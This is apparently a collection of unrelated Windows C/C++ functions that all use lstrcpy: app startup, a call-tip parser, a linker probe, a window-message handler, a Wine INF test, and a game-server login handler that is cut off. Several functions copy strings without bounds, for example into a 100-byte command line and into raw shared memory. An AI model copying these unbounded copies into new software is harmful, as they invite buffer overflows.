BOOL CInitializationThread::InitInstance() { HWND hWnd = m_pMainWnd->GetSafeHwnd(); FNAME szFileName; BOOL bRunningEmbedded = PictPubApp.RunEmbedded(); BOOL bRunningAutomated = PictPubApp.RunAutomated(); lstrcpy(szFileName, Control.ProgHome); lstrcat(szFileName, "string.dll"); // add and/or delete items to menus ( any one-time ( permanent ) menu changes ) // setup IDR_PPMAIN m_pPictPubApp->SetupAppMainMenu( CMenu::FromHandle( GetMenu( hWnd))); VERIFY(SetEvent(m_hSetupAppMainMenuEvent)); // setup IDR_PPSVRTYPE_PP POSITION TemplatePos = m_pPictPubApp->GetFirstDocTemplate(); if (TemplatePos) { CPPMultiDocTemplate *pTemplate = (CPPMultiDocTemplate *)m_pPictPubApp->GetNextDocTemplate (TemplatePos); m_pPictPubApp->SetupAppSharedMenu(CMenu::FromHandle(pTemplate->m_hMenuShared)); VERIFY(SetEvent(m_hSetupAppSharedMenuEvent)); } lstrcpy(szFileName, Control.ProgHome); lstrcat(szFileName, "hint.dll"); if( ( hInstHintLib = (HINSTANCE)AstralLoadLibrary( szFileName ))) { if( Hints.fStatusHintsOn ) MessageStatus( IDS_WELCOME, (LPSTR)szAppName ); VERIFY(SetEvent(m_hHintsLoadEvent)); } else //ERROR CONDITION !! ; /* This is TWAIN Stuff */ if (!bRunningEmbedded) { TW_IDENTITY identity; identity.Id = (TW_UINT32)hWnd; identity.Version.MajorNum = 3; identity.Version.MinorNum = 1; identity.Version.Language = TWLG_USA; identity.Version.Country = TWCY_USA; lstrcpy(identity.Version.Info, "3.1 Beta Release"); identity.ProtocolMajor = TWON_PROTOCOLMAJOR; identity.ProtocolMinor = TWON_PROTOCOLMINOR; identity.SupportedGroups = DG_CONTROL | DG_IMAGE; lstrcpy(identity.Manufacturer, "MicroGrafX Inc."); lstrcpy(identity.ProductFamily, "Windows Apps"); lstrcpy(identity.ProductName, szAppName ); DCInitialize( &identity, hWnd ); } /* End of TWAIN Stuff */ VERIFY(SetEvent(m_hTWAINEvent)); // Finished Initialization ! VERIFY(SetEvent(m_hInitThreadDoneEvent)); // avoid entering standard message loop by returning FALSE return FALSE; }
bool FunctionCallTip::getCursorFunction() { auto line = _pEditView->execute(SCI_LINEFROMPOSITION, _curPos); int startpos = static_cast<int32_t>(_pEditView->execute(SCI_POSITIONFROMLINE, line)); int endpos = static_cast<int32_t>(_pEditView->execute(SCI_GETLINEENDPOSITION, line)); int len = endpos - startpos + 3; //also take CRLF in account, even if not there int offset = _curPos - startpos; //offset is cursor location, only stuff before cursor has influence const int maxLen = 256; if ((offset < 2) || (len >= maxLen)) { reset(); return false; //cannot be a func, need name and separator } TCHAR lineData[maxLen] = TEXT(""); _pEditView->getLine(line, lineData, len); //line aquired, find the functionname //first split line into tokens to parse //token is identifier or some expression, whitespace is ignored std::vector< Token > tokenVector; int tokenLen = 0; TCHAR ch; for (int i = 0; i < offset; ++i) //we dont care about stuff after the offset { //tokenVector.push_back(pair(lineData+i, len)); ch = lineData[i]; if (isBasicWordChar(ch) || isAdditionalWordChar(ch)) //part of identifier { tokenLen = 0; TCHAR * begin = lineData+i; while ((isBasicWordChar(ch) || isAdditionalWordChar(ch)) && i < offset) { ++tokenLen; ++i; ch = lineData[i]; } tokenVector.push_back(Token(begin, tokenLen, true)); i--; //correct overshooting of while loop } else { if (ch == ' ' || ch == '\t' || ch == '\n' || ch == '\r') //whitespace { //do nothing } else { tokenLen = 1; tokenVector.push_back(Token(lineData+i, tokenLen, false)); } } } size_t vsize = tokenVector.size(); //mind nested funcs, like |blblb a (x, b(), c);| //therefore, use stack std::vector<FunctionValues> valueVec; FunctionValues curValue, newValue; int scopeLevel = 0; for (size_t i = 0; i < vsize; ++i) { Token & curToken = tokenVector.at(i); if (curToken.isIdentifier) { curValue.lastIdentifier = static_cast<int32_t>(i); } else { if (curToken.token[0] == _start) { ++scopeLevel; newValue = curValue; valueVec.push_back(newValue); //store the current settings, so when this new function doesnt happen to be the 'real' one, we can restore everything curValue.scopeLevel = scopeLevel; if (i > 0 && curValue.lastIdentifier == static_cast<int32_t>(i) - 1) { //identifier must be right before (, else we have some expression like "( x + y() )" curValue.lastFunctionIdentifier = curValue.lastIdentifier; curValue.param = 0; } else { //some expression curValue.lastFunctionIdentifier = -1; } } else if (curToken.token[0] == _param && curValue.lastFunctionIdentifier > -1) { ++curValue.param; } else if (curToken.token[0] == _stop) { if (scopeLevel) //scope cannot go below -1 scopeLevel--; if (valueVec.size() > 0) { //only pop level if scope was of actual function curValue = valueVec.back(); valueVec.pop_back(); } else { //invalidate curValue curValue = FunctionValues(); } } else if (curToken.token[0] == _terminal) { //invalidate everything valueVec.clear(); curValue = FunctionValues(); } } } bool res = false; if (curValue.lastFunctionIdentifier == -1) { //not in direct function. Start popping the stack untill we empty it, or a func IS found while(curValue.lastFunctionIdentifier == -1 && valueVec.size() > 0) { curValue = valueVec.back(); valueVec.pop_back(); } } if (curValue.lastFunctionIdentifier > -1) { Token funcToken = tokenVector.at(curValue.lastFunctionIdentifier); funcToken.token[funcToken.length] = 0; _currentParam = curValue.param; bool same = false; if (_funcName) { if(_ignoreCase) same = testNameNoCase(_funcName, funcToken.token, lstrlen(_funcName)) == 0; else same = generic_strncmp(_funcName, funcToken.token, lstrlen(_funcName)) == 0; } if (!same) { //check if we need to reload data if (_funcName) { delete [] _funcName; } _funcName = new TCHAR[funcToken.length+1]; lstrcpy(_funcName, funcToken.token); res = loadFunction(); } else { res = true; } } return res; }
int CheckForLinkerFeature( const char *option) { STARTUPINFO si; PROCESS_INFORMATION pi; SECURITY_ATTRIBUTES sa; DWORD threadID; char msg[300]; BOOL ok; HANDLE hProcess, h, pipeThreads[2]; char cmdline[100]; hProcess = GetCurrentProcess(); ZeroMemory(&pi, sizeof(PROCESS_INFORMATION)); ZeroMemory(&si, sizeof(STARTUPINFO)); si.cb = sizeof(STARTUPINFO); si.dwFlags = STARTF_USESTDHANDLES; si.hStdInput = INVALID_HANDLE_VALUE; ZeroMemory(&sa, sizeof(SECURITY_ATTRIBUTES)); sa.nLength = sizeof(SECURITY_ATTRIBUTES); sa.lpSecurityDescriptor = NULL; sa.bInheritHandle = TRUE; /* * Create a non-inheritible pipe. */ CreatePipe(&Out.pipe, &h, &sa, 0); /* * Dupe the write side, make it inheritible, and close the original. */ DuplicateHandle(hProcess, h, hProcess, &si.hStdOutput, 0, TRUE, DUPLICATE_SAME_ACCESS | DUPLICATE_CLOSE_SOURCE); /* * Same as above, but for the error side. */ CreatePipe(&Err.pipe, &h, &sa, 0); DuplicateHandle(hProcess, h, hProcess, &si.hStdError, 0, TRUE, DUPLICATE_SAME_ACCESS | DUPLICATE_CLOSE_SOURCE); /* * Base command line. */ lstrcpy(cmdline, "link.exe -nologo "); /* * Append our option for testing. */ lstrcat(cmdline, option); ok = CreateProcess( NULL, /* Module name. */ cmdline, /* Command line. */ NULL, /* Process handle not inheritable. */ NULL, /* Thread handle not inheritable. */ TRUE, /* yes, inherit handles. */ DETACHED_PROCESS, /* No console for you. */ NULL, /* Use parent's environment block. */ NULL, /* Use parent's starting directory. */ &si, /* Pointer to STARTUPINFO structure. */ &pi); /* Pointer to PROCESS_INFORMATION structure. */ if (!ok) { DWORD err = GetLastError(); int chars = snprintf(msg, sizeof(msg) - 1, "Tried to launch: \"%s\", but got error [%u]: ", cmdline, err); FormatMessage(FORMAT_MESSAGE_FROM_SYSTEM|FORMAT_MESSAGE_IGNORE_INSERTS| FORMAT_MESSAGE_MAX_WIDTH_MASK, 0L, err, 0, (LPVOID)&msg[chars], (300-chars), 0); WriteFile(GetStdHandle(STD_ERROR_HANDLE), msg,lstrlen(msg), &err,NULL); return 2; } /* * Close our references to the write handles that have now been inherited. */ CloseHandle(si.hStdOutput); CloseHandle(si.hStdError); WaitForInputIdle(pi.hProcess, 5000); CloseHandle(pi.hThread); /* * Start the pipe reader threads. */ pipeThreads[0] = CreateThread(NULL, 0, ReadFromPipe, &Out, 0, &threadID); pipeThreads[1] = CreateThread(NULL, 0, ReadFromPipe, &Err, 0, &threadID); /* * Block waiting for the process to end. */ WaitForSingleObject(pi.hProcess, INFINITE); CloseHandle(pi.hProcess); /* * Wait for our pipe to get done reading, should it be a little slow. */ WaitForMultipleObjects(2, pipeThreads, TRUE, 500); CloseHandle(pipeThreads[0]); CloseHandle(pipeThreads[1]); /* * Look for the commandline warning code in the stderr stream. */ return !(strstr(Out.buffer, "LNK1117") != NULL || strstr(Err.buffer, "LNK1117") != NULL || strstr(Out.buffer, "LNK4044") != NULL || strstr(Err.buffer, "LNK4044") != NULL); }
// returns false if message not handled bool CFrameHolder::ProcessNcMessage(HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam, LRESULT& lResult) { #ifdef _DEBUG if (mb_NcAnimate) { wchar_t szDbg[1024], szMsg[128], szInfo[255]; szInfo[0] = 0; switch (uMsg) { case WM_ERASEBKGND: lstrcpy(szMsg, L"WM_ERASEBKGND"); break; case WM_PAINT: lstrcpy(szMsg, L"WM_PAINT"); break; case WM_NCPAINT: lstrcpy(szMsg, L"WM_NCPAINT"); break; case WM_NCACTIVATE: lstrcpy(szMsg, L"WM_NCACTIVATE"); break; case WM_NCCALCSIZE: lstrcpy(szMsg, L"WM_NCCALCSIZE"); break; case WM_NCHITTEST: lstrcpy(szMsg, L"WM_NCHITTEST"); break; case WM_NCLBUTTONDOWN: lstrcpy(szMsg, L"WM_NCLBUTTONDOWN"); break; case WM_NCMOUSEMOVE: lstrcpy(szMsg, L"WM_NCMOUSEMOVE"); break; case WM_NCMOUSELEAVE: lstrcpy(szMsg, L"WM_NCMOUSELEAVE"); break; case WM_NCMOUSEHOVER: lstrcpy(szMsg, L"WM_NCMOUSEHOVER"); break; case WM_NCLBUTTONDBLCLK: lstrcpy(szMsg, L"WM_NCLBUTTONDBLCLK"); break; case 0xAE: /*WM_NCUAHDRAWCAPTION*/ lstrcpy(szMsg, L"WM_NCUAHDRAWCAPTION"); break; case 0xAF: /*WM_NCUAHDRAWFRAME*/ lstrcpy(szMsg, L"WM_NCUAHDRAWFRAME"); break; case 0x31E: /*WM_DWMCOMPOSITIONCHANGED*/ lstrcpy(szMsg, L"WM_DWMCOMPOSITIONCHANGED"); break; case WM_WINDOWPOSCHANGED: lstrcpy(szMsg, L"WM_WINDOWPOSCHANGED"); break; case WM_SYSCOMMAND: lstrcpy(szMsg, L"WM_SYSCOMMAND"); break; case WM_GETTEXT: lstrcpy(szMsg, L"WM_GETTEXT"); break; case WM_PRINT: lstrcpy(szMsg, L"WM_PRINT"); break; case WM_PRINTCLIENT: lstrcpy(szMsg, L"WM_PRINTCLIENT"); break; case WM_GETMINMAXINFO: lstrcpy(szMsg, L"WM_GETMINMAXINFO"); break; case WM_WINDOWPOSCHANGING: lstrcpy(szMsg, L"WM_WINDOWPOSCHANGING"); break; case WM_MOVE: lstrcpy(szMsg, L"WM_MOVE"); wsprintf(szInfo, L"{%ix%i}", (int)(short)LOWORD(lParam), (int)(short)HIWORD(lParam)); break; case WM_SIZE: lstrcpy(szMsg, L"WM_SIZE"); wsprintf(szInfo, L"%s {%ix%i}", (wParam==SIZE_MAXHIDE) ? L"SIZE_MAXHIDE" : (wParam==SIZE_MAXIMIZED) ? L"SIZE_MAXIMIZED" : (wParam==SIZE_MAXSHOW) ? L"SIZE_MAXSHOW" : (wParam==SIZE_MINIMIZED) ? L"SIZE_MINIMIZED" : (wParam==SIZE_RESTORED) ? L"SIZE_RESTORED" : L"???", (int)(short)LOWORD(lParam), (int)(short)HIWORD(lParam)); break; default: wsprintf(szMsg, L"%u=x%X", uMsg, uMsg); } wsprintf(szDbg, L"MsgInAnimage(%s, %u, %u%s%s)\n", szMsg, (DWORD)wParam, (DWORD)lParam, szInfo[0] ? L" - " : L"", szInfo); OutputDebugString(szDbg); } #endif bool lbRc; static POINT ptLastNcClick = {}; switch (uMsg) { case WM_ERASEBKGND: DBGFUNCTION(L"WM_ERASEBKGND \n"); lResult = TRUE; return true; case WM_PAINT: DBGFUNCTION(L"WM_PAINT \n"); lResult = OnPaint(hWnd, NULL/*use BeginPaint,EndPaint*/); return true; case WM_NCPAINT: DBGFUNCTION(L"WM_NCPAINT \n"); lResult = OnNcPaint(hWnd, uMsg, wParam, lParam); return true; case WM_NCACTIVATE: DBGFUNCTION(L"WM_NCACTIVATE \n"); lResult = OnNcActivate(hWnd, uMsg, wParam, lParam); return true; case WM_NCCALCSIZE: DBGFUNCTION(L"WM_NCCALCSIZE \n"); lResult = OnNcCalcSize(hWnd, uMsg, wParam, lParam); return true; case WM_NCHITTEST: DBGFUNCTION(L"WM_NCHITTEST \n"); lResult = OnNcHitTest(hWnd, uMsg, wParam, lParam); return true; case WM_NCLBUTTONDOWN: case WM_NCLBUTTONUP: case WM_NCRBUTTONDOWN: case WM_NCRBUTTONUP: case WM_NCMBUTTONDOWN: case WM_NCMBUTTONUP: case WM_NCMOUSEMOVE: case WM_NCMOUSELEAVE: case WM_NCMOUSEHOVER: #ifdef _DEBUG switch (uMsg) { case WM_NCLBUTTONDOWN: DBGFUNCTION(L"WM_NCLBUTTONDOWN \n"); break; case WM_NCLBUTTONUP: DBGFUNCTION(L"WM_NCLBUTTONUP \n"); break; case WM_NCRBUTTONDOWN: DBGFUNCTION(L"WM_NCRBUTTONDOWN \n"); break; case WM_NCRBUTTONUP: DBGFUNCTION(L"WM_NCRBUTTONUP \n"); break; case WM_NCMBUTTONDOWN: DBGFUNCTION(L"WM_NCMBUTTONDOWN \n"); break; case WM_NCMBUTTONUP: DBGFUNCTION(L"WM_NCMBUTTONUP \n"); break; case WM_NCMOUSEMOVE: DBGFUNCTION(L"WM_NCMOUSEMOVE \n"); break; case WM_NCMOUSELEAVE: DBGFUNCTION(L"WM_NCMOUSELEAVE \n"); break; case WM_NCMOUSEHOVER: DBGFUNCTION(L"WM_NCMOUSEHOVER \n"); break; } #endif ptLastNcClick = MakePoint(LOWORD(lParam),HIWORD(lParam)); if ((uMsg == WM_NCMOUSEMOVE) || (uMsg == WM_NCLBUTTONUP)) gpConEmu->isSizing(uMsg); // могло не сброситься, проверим if (gpSet->isTabsInCaption) { //RedrawLock(); lbRc = gpConEmu->mp_TabBar->ProcessNcTabMouseEvent(hWnd, uMsg, wParam, lParam, lResult); //RedrawUnlock(); } else { // Табов чисто в заголовке - нет lbRc = false; } if (!lbRc) { if ((wParam == HTSYSMENU && uMsg == WM_NCLBUTTONDOWN) /*|| (wParam == HTCAPTION && uMsg == WM_NCRBUTTONDOWN)*/) { gpConEmu->mp_Menu->OnNcIconLClick(); lResult = 0; lbRc = true; } else if (gpSet->isTabsInCaption && (wParam == HTSYSMENU || wParam == HTCAPTION) && (uMsg == WM_NCRBUTTONDOWN || uMsg == WM_NCRBUTTONUP)) { if (uMsg == WM_NCRBUTTONUP) { gpConEmu->mp_Menu->ShowSysmenu((short)LOWORD(lParam),(short)HIWORD(lParam)); } lResult = 0; lbRc = true; } else if ((uMsg == WM_NCRBUTTONDOWN || uMsg == WM_NCRBUTTONUP) && (wParam == HTCLOSE || wParam == HTMINBUTTON)) { Icon.HideWindowToTray(); lResult = 0; lbRc = true; } } return lbRc; //case WM_LBUTTONDBLCLK: // { // // Глюк? DblClick по иконке приводит к WM_LBUTTONDBLCLK вместо WM_NCLBUTTONDBLCLK // POINT pt = MakePoint(LOWORD(lParam),HIWORD(lParam)); // if (gpConEmu->PtDiffTest(pt, ptLastNcClick.x, ptLastNcClick.y, 4)) // { // PostScClose(); // lResult = 0; // return true; // } // } // return false; case WM_MOUSEMOVE: DBGFUNCTION(L"WM_MOUSEMOVE \n"); // Табов чисто в заголовке - нет #if 0 RedrawLock(); if (gpConEmu->mp_TabBar->GetHoverTab() != -1) { gpConEmu->mp_TabBar->HoverTab(-1); } #if defined(USE_CONEMU_TOOLBAR) // Ну и с кнопок убрать подсветку, если была gpConEmu->mp_TabBar->Toolbar_UnHover(); #endif RedrawUnlock(); #endif return false; case WM_NCLBUTTONDBLCLK: if (wParam == HTCAPTION) { mb_NcAnimate = TRUE; } if (wParam == HT_CONEMUTAB) { _ASSERTE(gpSet->isTabsInCaption && "There is not tabs in 'Caption'"); //RedrawLock(); -- чтобы отрисовать "клик" по кнопке lbRc = gpConEmu->mp_TabBar->ProcessNcTabMouseEvent(hWnd, uMsg, wParam, lParam, lResult); //RedrawUnlock(); } else if (gpConEmu->OnMouse_NCBtnDblClk(hWnd, uMsg, wParam, lParam)) { lResult = 0; // DblClick на рамке - ресайз по ширине/высоте рабочей области экрана } else { lResult = DefWindowProc(hWnd, uMsg, wParam, lParam); } if (wParam == HTCAPTION) { mb_NcAnimate = FALSE; } return true; case WM_KEYDOWN: case WM_KEYUP: if (gpSet->isTabSelf && (wParam == VK_TAB || gpConEmu->mp_TabBar->IsInSwitch())) { if (isPressed(VK_CONTROL) && !isPressed(VK_MENU) && !isPressed(VK_LWIN) && !isPressed(VK_RWIN)) { if (gpConEmu->mp_TabBar->ProcessTabKeyboardEvent(hWnd, uMsg, wParam, lParam, lResult)) { return true; } } } return false; //case WM_NCCREATE: gpConEmu->CheckGlassAttribute(); return false; case 0xAE: /*WM_NCUAHDRAWCAPTION*/ lResult = OnDwmMessage(hWnd, uMsg, wParam, lParam); return true; case 0xAF: /*WM_NCUAHDRAWFRAME*/ lResult = OnDwmMessage(hWnd, uMsg, wParam, lParam); return true; case 0x31E: /*WM_DWMCOMPOSITIONCHANGED*/ lResult = OnDwmMessage(hWnd, uMsg, wParam, lParam); return true; case WM_WINDOWPOSCHANGED: lResult = OnWindowPosChanged(hWnd, uMsg, wParam, lParam); return true; case WM_SYSCOMMAND: if (wParam == SC_MAXIMIZE || wParam == SC_MINIMIZE || wParam == SC_RESTORE) { mb_NcAnimate = TRUE; //GetWindowText(hWnd, ms_LastCaption, countof(ms_LastCaption)); //SetWindowText(hWnd, L""); } lResult = gpConEmu->mp_Menu->OnSysCommand(hWnd, wParam, lParam); if (wParam == SC_MAXIMIZE || wParam == SC_MINIMIZE || wParam == SC_RESTORE) { mb_NcAnimate = FALSE; //SetWindowText(hWnd, ms_LastCaption); } return true; case WM_GETTEXT: //TODO: Во время анимации Maximize/Restore/Minimize заголовок отрисовывается //TODO: системой, в итоге мелькает текст и срезаются табы //TODO: Сделаем, пока, чтобы текст хотя бы не мелькал... if (mb_NcAnimate && gpSet->isTabsInCaption) { _ASSERTE(!IsWindows7); // Проверить на XP и ниже if (wParam && lParam) { *(wchar_t*)lParam = 0; } lResult = 0; return true; } break; default: break; } return false; }
static void translateinfstringex_test(void) { HINF hinf; HRESULT hr; char buffer[MAX_PATH]; DWORD size = MAX_PATH; create_inf_file(); /* need to see if there are any flags */ /* try a NULL filename */ hr = pOpenINFEngine(NULL, "Options.NTx86", 0, &hinf, NULL); ok(hr == E_INVALIDARG, "Expected E_INVALIDARG, got %08x\n", hr); /* try an empty filename */ hr = pOpenINFEngine("", "Options.NTx86", 0, &hinf, NULL); ok(hr == HRESULT_FROM_WIN32(ERROR_FILE_NOT_FOUND) /* NT+ */ || hr == HRESULT_FROM_WIN32(E_UNEXPECTED) /* 9x */, "Expected HRESULT_FROM_WIN32(ERROR_FILE_NOT_FOUND or E_UNEXPECTED), got %08x\n", hr); /* try a NULL hinf */ hr = pOpenINFEngine(inf_file, "Options.NTx86", 0, NULL, NULL); ok(hr == E_INVALIDARG, "Expected E_INVALIDARG, got %08x\n", hr); /* open the INF without the Install section specified */ hr = pOpenINFEngine(inf_file, NULL, 0, &hinf, NULL); ok(hr == S_OK, "Expected S_OK, got %08x\n", hr); /* try a NULL hinf */ hr = pTranslateInfStringEx(NULL, inf_file, "Options.NTx86", "InstallDir", buffer, size, &size, NULL); ok(hr == E_INVALIDARG, "Expected E_INVALIDARG, got %08x\n", hr); /* try a NULL filename */ hr = pTranslateInfStringEx(hinf, NULL, "Options.NTx86", "InstallDir", buffer, size, &size, NULL); ok(hr == E_INVALIDARG, "Expected E_INVALIDARG, got %08x\n", hr); /* try an empty filename */ memset(buffer, 'a', 25); buffer[24] = '\0'; size = MAX_PATH; hr = pTranslateInfStringEx(hinf, "", "Options.NTx86", "InstallDir", buffer, size, &size, NULL); ok(hr == S_OK, "Expected S_OK, got %08x\n", hr); todo_wine { ok(!strcmp(buffer, TEST_STRING2), "Expected %s, got %s\n", TEST_STRING2, buffer); ok(size == 25, "Expected size 25, got %d\n", size); } /* try a NULL translate section */ hr = pTranslateInfStringEx(hinf, inf_file, NULL, "InstallDir", buffer, size, &size, NULL); ok(hr == E_INVALIDARG, "Expected E_INVALIDARG, got %08x\n", hr); /* try an empty translate section */ hr = pTranslateInfStringEx(hinf, inf_file, "", "InstallDir", buffer, size, &size, NULL); ok(hr == SPAPI_E_LINE_NOT_FOUND, "Expected SPAPI_E_LINE_NOT_FOUND, got %08x\n", hr); /* try a NULL translate key */ hr = pTranslateInfStringEx(hinf, inf_file, "Options.NTx86", NULL, buffer, size, &size, NULL); ok(hr == E_INVALIDARG, "Expected E_INVALIDARG, got %08x\n", hr); /* try an empty translate key */ hr = pTranslateInfStringEx(hinf, inf_file, "Options.NTx86", "", buffer, size, &size, NULL); ok(hr == SPAPI_E_LINE_NOT_FOUND, "Expected SPAPI_E_LINE_NOT_FOUND, got %08x\n", hr); /* successfully translate the string */ memset(buffer, 'a', 25); buffer[24] = '\0'; size = MAX_PATH; hr = pTranslateInfStringEx(hinf, inf_file, "Options.NTx86", "InstallDir", buffer, size, &size, NULL); ok(hr == S_OK, "Expected S_OK, got %08x\n", hr); todo_wine { ok(!strcmp(buffer, TEST_STRING2), "Expected %s, got %s\n", TEST_STRING2, buffer); ok(size == 25, "Expected size 25, got %d\n", size); } /* try a NULL hinf */ hr = pCloseINFEngine(NULL); ok(hr == E_INVALIDARG, "Expected E_INVALIDARG, got %08x\n", hr); /* successfully close the hinf */ hr = pCloseINFEngine(hinf); ok(hr == S_OK, "Expected S_OK, got %08x\n", hr); /* open the inf with the install section */ hr = pOpenINFEngine(inf_file, "section", 0, &hinf, NULL); ok(hr == S_OK, "Expected S_OK, got %08x\n", hr); /* translate the string with the install section specified */ memset(buffer, 'a', APP_PATH_LEN); buffer[APP_PATH_LEN - 1] = '\0'; size = MAX_PATH; hr = pTranslateInfStringEx(hinf, inf_file, "Options.NTx86", "InstallDir", buffer, size, &size, NULL); ok(hr == S_OK, "Expected S_OK, got %08x\n", hr); ok(!strcmp(buffer, APP_PATH), "Expected %s, got %s\n", APP_PATH, buffer); ok(size == APP_PATH_LEN, "Expected size %d, got %d\n", APP_PATH_LEN, size); /* Single quote test (Note size includes null on return from call) */ memset(buffer, 'a', APP_PATH_LEN); buffer[APP_PATH_LEN - 1] = '\0'; size = MAX_PATH; hr = pTranslateInfStringEx(hinf, inf_file, "Options.NTx86", "Result1", buffer, size, &size, NULL); ok(hr == S_OK, "Expected S_OK, got %08x\n", hr); ok(!lstrcmpi(buffer, PROG_FILES_ROOT), "Expected %s, got %s\n", PROG_FILES_ROOT, buffer); ok(size == lstrlenA(PROG_FILES_ROOT)+1, "Expected size %d, got %d\n", lstrlenA(PROG_FILES_ROOT)+1, size); memset(buffer, 'a', APP_PATH_LEN); buffer[APP_PATH_LEN - 1] = '\0'; size = MAX_PATH; hr = pTranslateInfStringEx(hinf, inf_file, "Options.NTx86", "Result2", buffer, size, &size, NULL); ok(hr == S_OK, "Expected S_OK, got %08x\n", hr); ok(!lstrcmpi(buffer, PROG_FILES_ROOT), "Expected %s, got %s\n", PROG_FILES_ROOT, buffer); ok(size == lstrlenA(PROG_FILES_ROOT)+1, "Expected size %d, got %d\n", lstrlenA(PROG_FILES_ROOT)+1, size); { char drive[MAX_PATH]; lstrcpy(drive, PROG_FILES_ROOT); drive[3] = 0x00; /* Just keep the system drive plus '\' */ memset(buffer, 'a', APP_PATH_LEN); buffer[APP_PATH_LEN - 1] = '\0'; size = MAX_PATH; hr = pTranslateInfStringEx(hinf, inf_file, "Options.NTx86", "Result3", buffer, size, &size, NULL); ok(hr == S_OK, "Expected S_OK, got %08x\n", hr); ok(!lstrcmpi(buffer, drive), "Expected %s, got %s\n", drive, buffer); ok(size == lstrlenA(drive)+1, "Expected size %d, got %d\n", lstrlenA(drive)+1, size); } /* close the INF again */ hr = pCloseINFEngine(hinf); ok(hr == S_OK, "Expected S_OK, got %08x\n", hr); DeleteFileA(inf_file); /* Create another .inf file which is just here to trigger a wine bug */ { char data[1024]; char *ptr = data; DWORD dwNumberOfBytesWritten; HANDLE hf = CreateFile(inf_file, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); append_str(&ptr, "[Version]\n"); append_str(&ptr, "Signature=\"$Chicago$\"\n"); append_str(&ptr, "[section]\n"); append_str(&ptr, "NotACustomDestination=Version\n"); append_str(&ptr, "CustomDestination=CustInstDestSection\n"); append_str(&ptr, "[CustInstDestSection]\n"); append_str(&ptr, "49010=DestA,1\n"); append_str(&ptr, "49020=DestB\n"); append_str(&ptr, "49030=DestC\n"); append_str(&ptr, "49040=DestD\n"); append_str(&ptr, "[Options.NTx86]\n"); append_str(&ptr, "Result2=%%49030%%\n"); append_str(&ptr, "[DestA]\n"); append_str(&ptr, "HKLM,\"Software\\Garbage\",\"ProgramFilesDir\",,'%%24%%'\n"); /* The point of this test is to have HKCU just before the quoted HKLM */ append_str(&ptr, "[DestB]\n"); append_str(&ptr, "HKCU,\"Software\\Garbage\",\"ProgramFilesDir\",,'%%24%%'\n"); append_str(&ptr, "[DestC]\n"); append_str(&ptr, "'HKLM','Software\\Microsoft\\Windows\\CurrentVersion',"); append_str(&ptr, "'ProgramFilesDir',,\"%%24%%\"\n"); append_str(&ptr, "[DestD]\n"); append_str(&ptr, "HKLM,\"Software\\Garbage\",\"ProgramFilesDir\",,'%%24%%'\n"); WriteFile(hf, data, ptr - data, &dwNumberOfBytesWritten, NULL); CloseHandle(hf); } /* open the inf with the install section */ hr = pOpenINFEngine(inf_file, "section", 0, &hinf, NULL); ok(hr == S_OK, "Expected S_OK, got %08x\n", hr); /* Single quote test (Note size includes null on return from call) */ memset(buffer, 'a', APP_PATH_LEN); buffer[APP_PATH_LEN - 1] = '\0'; size = MAX_PATH; hr = pTranslateInfStringEx(hinf, inf_file, "Options.NTx86", "Result2", buffer, size, &size, NULL); ok(hr == S_OK, "Expected S_OK, got %08x\n", hr); ok(!lstrcmpi(buffer, PROG_FILES_ROOT), "Expected %s, got %s\n", PROG_FILES_ROOT, buffer); ok(size == lstrlenA(PROG_FILES_ROOT)+1, "Expected size %d, got %d\n", lstrlenA(PROG_FILES_ROOT)+1, size); /* close the INF again */ hr = pCloseINFEngine(hinf); ok(hr == S_OK, "Expected S_OK, got %08x\n", hr); DeleteFileA(inf_file); }
void ipc_shared_memory_put (EIF_POINTER lpBaseAddress, EIF_POINTER a_string){ lstrcpy ((LPTSTR)lpBaseAddress, (LPCTSTR)a_string); }
//网络读取消息 bool CServiceManage::OnSocketReadEvent(NetMessageHead * pNetHead, void * pNetData, UINT uDataSize, CTCPClientSocket * pClientSocket) { switch (pNetHead->bMainID) { case MDM_CONNECT: //连接信息 { switch (pNetHead->bAssistantID) { case ASS_NET_TEST: //网络检测 { if (uDataSize!=0) return false; pClientSocket->SendData(MDM_CONNECT,ASS_NET_TEST,0); return true; } case ASS_CONNECT_SUCCESS: //连接成功 { MSG_S_ConnectSuccess * pVerInfo=(MSG_S_ConnectSuccess *)pNetData; //版本效验 if (GAME_MAX_VER<pVerInfo->bLessVer) { if (m_pIMessage!=NULL) m_pIMessage->ShowMessage(TEXT("游戏控制器版本太低了,无法继续使用...")); pClientSocket->CloseSocket(false); return false; } //发送登陆信息 MSG_SL_S_LogonByNameInfo MSGLogonInfo; lstrcpy(MSGLogonInfo.szName,m_Info.m_szName); lstrcpy(MSGLogonInfo.szMD5Pass,m_Info.m_szMD5Pass); lstrcpy(MSGLogonInfo.szServerGUID,m_Info.m_szServerGUID); pClientSocket->SendData(&MSGLogonInfo,sizeof(MSGLogonInfo),MDM_SL_SERVICE,ASS_SL_LOGON_BY_NAME,0); return true; } } return false; } case MDM_SL_SERVICE: //服务登陆部分 { switch (pNetHead->bAssistantID) { case ASS_SL_LOGON_SUCCESS: //登陆成功 { //效验数据 if (uDataSize!=sizeof(MSG_SL_R_ConnectInfo)) return false; MSG_SL_R_ConnectInfo * pConnectInfo=(MSG_SL_R_ConnectInfo *)pNetData; //处理数据 pClientSocket->CloseSocket(false); m_Info.m_uLogonTimes++; m_Info.m_uSystemState=STS_LOGON_FINISH; lstrcpy(m_Info.m_szSQLName,pConnectInfo->szSQLName); lstrcpy(m_Info.m_szSQLPass,pConnectInfo->szSQLPass); lstrcpy(m_Info.m_szSQLAddr,pConnectInfo->szSQLAddr); lstrcpy(m_Info.m_szServiceIP,pConnectInfo->szServiceIP); if (m_pIMessage!=NULL) m_pIMessage->ShowMessage(TEXT("用户信息效验成功,正在读取大厅信息...")); AfxGetMainWnd()->PostMessage(WM_COMMAND,IDM_GET_ROOM_LIST,0); return true; } case ASS_SL_LOGON_ERROR: //登陆失败 { //效验数据 if (uDataSize!=0) return false; //处理数据 CString strMessage=TEXT("登陆发生未知错误,请检查系统配置..."); switch (pNetHead->bHandleCode) { case ERR_SL_GUID_ERROR: { strMessage=TEXT("系统授权号错误,登陆失败..."); break; } case ERR_SL_LOGON_IP_ERROR: { strMessage=TEXT("此授权号不能在此服务器上登陆,登陆失败..."); break; } case ERR_SL_LOGON_NAME_ERROR: { strMessage=TEXT("登陆名字错误,登陆失败..."); break; } case ERR_SL_LOGON_NAME_LIMIT: { strMessage=TEXT("登陆名已经被禁用,登陆失败..."); break; } case ERR_SL_LOGON_PASS_ERROR: { 